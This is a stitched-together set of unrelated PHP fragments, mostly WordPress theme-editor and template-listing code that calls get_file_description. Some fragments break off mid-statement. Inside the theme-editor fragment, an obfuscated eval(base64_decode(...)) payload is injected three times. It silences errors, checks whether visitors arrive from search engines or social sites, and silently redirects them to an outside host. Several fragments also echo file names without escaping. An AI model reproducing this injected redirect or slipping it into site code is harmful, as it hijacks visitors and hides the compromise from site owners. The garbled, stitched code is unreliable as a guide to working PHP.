function create_artwork_item($artwork_name, $img_path, $raw_path, $rendered_path, $author_name = NULL, $author_link = NULL, $modified_by = NULL) { echo '<img class="art-thumb" src="' . $img_path . '">'; echo '<h3>' . $artwork_name . '</h3>'; if ($author_name) { echo '<p><strong>Author:</strong> <a href="' . $author_link . '">' . $author_name . '</a><br>'; } else { echo '<p>'; } if ($modified_by) { echo '<strong>Modified/Themed By: </strong>' . $modified_by . '</p>'; } else { echo '</p>'; } $buttons = array($raw_path, $rendered_path); foreach ($buttons as $button) { if ($button) { $file_name = basename($button); $extension = pathinfo($button)['extension']; $description = get_file_description($extension); $description = $description ? ' <br><small>(' . $description . ')</small>' : ''; echo '<a target="_blank" class="btn btn-default" href="' . $button . '" download><span class="fa fa-image"></span> '; echo $file_name . $description . '</a> '; } } echo '<br><br><hr><br><br>'; }
} ?> </ul> <h4><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); /* translators: Theme stylesheets in theme editor */ echo _x('Styles', 'Theme stylesheets in theme editor'); ?> </h4> <ul> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); $template_mapping = array(); $stylesheet_dir = $themes[$theme]['Stylesheet Dir']; foreach ($themes[$theme]['Stylesheet Files'] as $style_file) { $description = trim(get_file_description($style_file)); $style_show = basename($style_file); $filedesc = $description != $style_file ? "{$description} <span class='nonessential'>({$style_show})</span>" : "{$description}"; $filedesc = $style_file == $file ? "<span class='highlight'>{$description} <span class='nonessential'>({$style_show})</span></span>" : $filedesc; $template_mapping[$description] = array(_get_template_edit_filename($style_file, $stylesheet_dir), $filedesc); } ksort($template_mapping); while (list($template_sorted_key, list($style_file, $filedesc)) = each($template_mapping)) { ?> <li><a href="theme-editor.php?file=<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3Ry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cmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo urlencode($theme);
foreach ($recents as $recent) : echo "<li><a href='templates.php?file=$recent'>" . get_file_description(basename($recent)) . "</a></li>"; endforeach; echo '</ol>'; endif; ?> <h3><?php _e('Common'); ?></h3> <?php $common_files = array('index.php', '.htaccess', 'my-hacks.php'); $old_files = array('wp-layout.css', 'wp-comments.php', 'wp-comments-popup.php'); foreach ($old_files as $old_file) { if (file_exists(ABSPATH . $old_file)) $common_files[] = $old_file; } ?> <ul> <?php foreach ($common_files as $common_file) : ?> <li><a href="templates.php?file=<?php echo $common_file?>"><?php echo get_file_description($common_file); ?></a></li> <?php endforeach; ?> </ul> </div> <?php if (!$error) { ?> <form name="template" id="template" action="templates.php" method="post"> <div><textarea cols="70" rows="25" name="newcontent" id='newcontent' tabindex="1"><?php echo $content ?></textarea> <input type="hidden" name="action" value="update" /> <input type="hidden" name="file" value="<?php echo $file ?>" /> </div> <?php if ( is_writeable($real_file) ) : ?> <p class="submit"> <?php echo "<input type='submit' name='submit' value=' " . __('Update File') . " »' tabindex='2' />"; ?> </p>
<?php if ($allowed_files) { ?> <ul> <?php foreach ($allowed_files as $allowed_file) { ?> <li><a href="theme-editor.php?file=<?php echo "{$allowed_file}"; ?> &theme=<?php echo urlencode($theme); ?> "><?php echo get_file_description($allowed_file); ?> </a></li> <?php } ?> </ul> <?php } ?> </div> <?php if (!$error) { ?> <form name="template" id="template" action="theme-editor.php" method="post">
"><?php echo $filedesc; ?> </a></li> <?php } ?> </ul> <h4><?php echo _c('Styles|Theme stylesheets in theme editor'); ?> </h4> <ul> <?php foreach ($themes[$theme]['Stylesheet Files'] as $style_file) { $description = get_file_description($style_file); $style_show = basename($style_file); $filedesc = $description != $style_file ? "{$description} <span class='nonessential'>({$style_show})</span>" : "{$description}"; $filedesc = $style_file == $file ? "<span class='highlight'>{$description} <span class='nonessential'>({$style_show})</span></span>" : $filedesc; ?> <li><a href="theme-editor.php?file=<?php echo "{$style_file}"; ?> &theme=<?php echo urlencode($theme); ?> "><?php echo $filedesc; ?> </a></li> <?php
<?php if ( is_writeable($real_file) ) { echo '<h2>' . sprintf(__('Editing <code>%s</code>'), $file_show) . '</h2>'; } else { echo '<h2>' . sprintf(__('Browsing <code>%s</code>'), $file_show) . '</h2>'; } ?> <div id="templateside"> <h3><?php printf(__("<strong>'%s'</strong> theme files"), $theme) ?></h3> <?php if ($allowed_files) : ?> <ul> <?php foreach($allowed_files as $allowed_file) : ?> <li><a href="theme-editor.php?file=<?php echo "$allowed_file"; ?>&theme=<?php echo urlencode($theme) ?>"><?php echo get_file_description($allowed_file); ?></a></li> <?php endforeach; ?> </ul> <?php endif; ?> </div> <?php if (!$error) { ?> <form name="template" id="template" action="theme-editor.php" method="post"> <?php wp_nonce_field('edit-theme_' . $file . $theme) ?> <div><textarea cols="70" rows="25" name="newcontent" id="newcontent" tabindex="1"><?php echo $content ?></textarea> <input type="hidden" name="action" value="update" /> <input type="hidden" name="file" value="<?php echo $file ?>" /> <input type="hidden" name="theme" value="<?php echo $theme ?>" /> </div> <?php if ( is_writeable($real_file) ) : ?>
?> <p class="howto"><?php printf(__('This child theme inherits templates from a parent theme, %s.'), '<a href="' . self_admin_url('theme-editor.php?theme=' . urlencode($theme->get_template())) . '">' . $theme->parent()->display('Name') . '</a>'); ?> </p> <?php } ?> <ul> <?php } foreach ($allowed_files as $filename => $absolute_filename) { if ('style.css' == $filename) { echo "\t</ul>\n\t<h3>" . _x('Styles', 'Theme stylesheets in theme editor') . "</h3>\n\t<ul>\n"; } $file_description = get_file_description($absolute_filename); if ($file_description != basename($filename)) { $file_description .= '<br /><span class="nonessential">(' . $filename . ')</span>'; } if ($absolute_filename == $file) { $file_description = '<span class="highlight">' . $file_description . '</span>'; } ?> <li> <a href="theme-editor.php?file=<?php echo urlencode($filename); ?> &theme=<?php echo urlencode($stylesheet); ?> "><?php
function scan_dir_for_digest($current_dir, &$message) { global $timeoffset, $comment_max_caracters, $datetimeformat, $uploads_folder_name; global $hidden_dirs, $showhidden; $currentdate = getdate(); $time1 = mktime(0, 0, 0, $currentdate['mon'], $currentdate['mday'] - 1, $currentdate['year']); $time2 = $time1 + 86400; list($liste, $totalsize) = listing($current_dir); $filecount = 0; if (is_array($liste)) { while (list($filename, $mime) = each($liste)) { if (is_dir("{$current_dir}/{$filename}")) { if (eregi($hidden_dirs, $filename) && !$showhidden) { continue; } $filecount += scan_dir_for_digest("{$current_dir}/{$filename}", $message); continue; } $file_modif_time = filemtime("{$current_dir}/{$filename}"); if ($file_modif_time < $time1 || $file_modif_time >= $time2) { continue; } $filecount++; list($upl_user, $upl_ip, $contents) = get_file_description("{$current_dir}/{$filename}", $comment_max_caracters); $message .= "\n\t\t\t <tr valign=\"top\">\n\t\t\t <td align=\"left\" width=\"45%\">\n\t\t\t <font size=3>{$filename}<BR>\n\t\t\t <font size=2>{$contents}\n\t\t\t </td>\n\t\t\t <td align=\"left\" width=\"30%\" valign=\"middle\">\n\t\t\t \tDocumentos" . ereg_replace($uploads_folder_name, '', $current_dir) . "\n\t\t\t </td>\n\t\t\t <td align=\"right\" nowrap valign=\"middle\">\n"; $message .= get_filesize("{$current_dir}/{$filename}"); $message .= "</td>\n\t\t\t \t\t<td align=\"left\" nowrap valign=\"middle\">\n"; $message .= date($datetimeformat, $file_modif_time - $timeoffset * 3600); $message .= "</td>\n\t\t\t\t\t<td align=\"left\" valign=\"middle\">\n"; if ($upl_user != "") { $message .= "<b>{$upl_user}</b><br>"; } $message .= "\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n"; } } return $filecount; }
if ($theme->parent()) { echo '<p class="howto">' . sprintf(__('This child theme inherits templates from a parent theme, %s.'), sprintf('<a href="%s">%s</a>', self_admin_url('theme-editor.php?theme=' . urlencode($theme->get_template())), $theme->parent()->display('Name'))) . "</p>\n"; } } break; case '.css': echo "\t<h2>" . _x('Styles', 'Theme stylesheets in theme editor') . "</h2>\n"; break; default: /* translators: %s: file extension */ echo "\t<h2>" . sprintf(__('%s files'), $file_type) . "</h2>\n"; break; } echo "\t<ul>\n"; } $file_description = get_file_description($filename); if ($filename !== basename($absolute_filename) || $file_description !== $filename) { $file_description .= '<br /><span class="nonessential">(' . $filename . ')</span>'; } if ($absolute_filename === $file) { $file_description = '<span class="highlight">' . $file_description . '</span>'; } $previous_file_type = $file_type; ?> <li><a href="theme-editor.php?file=<?php echo urlencode($filename); ?> &theme=<?php echo urlencode($stylesheet); ?> "><?php
$old_files = array('wp-layout.css', 'wp-comments.php', 'wp-comments-popup.php'); foreach ($old_files as $old_file) { if (file_exists(ABSPATH . $old_file)) { $common_files[] = $old_file; } } ?> <ul> <?php foreach ($common_files as $common_file) { ?> <li><a href="templates.php?file=<?php echo $common_file; ?> "><?php echo get_file_description($common_file); ?> </a></li> <?php } ?> </ul> </div> <?php if (!$error) { ?> <form name="template" id="template" action="templates.php" method="post"> <?php wp_nonce_field('edit-file_' . $file); ?> <div><textarea cols="70" rows="25" name="newcontent" id='newcontent' tabindex="1"><?php
?> </select> </div> <div class="form-group"> <label for="license">License</label> <select name="license" class="form-control"> <?php echo get_licenses(get_license_name(get_file_license(GET('file')))); ?> </select> </div> <div class="form-group"> <label for="description">Description</label> <textarea rows=20 name="description" class="form-control"><?php echo htmlspecialchars_decode(get_file_description(GET('file')), ENT_COMPAT); ?> </textarea> </div> <button class="btn btn-primary" type="submit" name="updateok" value="OK"><span class="fa fa-check"></span> Update File</button> <a href="<?php echo "{$LSP_URL}?action=show&file=" . GET('file'); ?> " class="btn btn-warning"><span class="fa fa-close"></span> Cancel</a> <input type="hidden" name="fn" value="'.$file_name.'" /> <input type="hidden" name="action" value="update" /> <?php $form->close(); echo '</div>'; } else { $category = explode(' - ', POST('category'))[0];
function wf_theme_manage_pages_custom_column($column_name, $post_id) { global $post_type; if ($column_name == 'template') { $tmp = get_file_description(get_page_template($post_id)); $tmp = str_replace('Page Template', '', $tmp); $tmp = trim($tmp); if (empty($tmp)) { $tmp = 'Default Page Template'; } echo $tmp; } }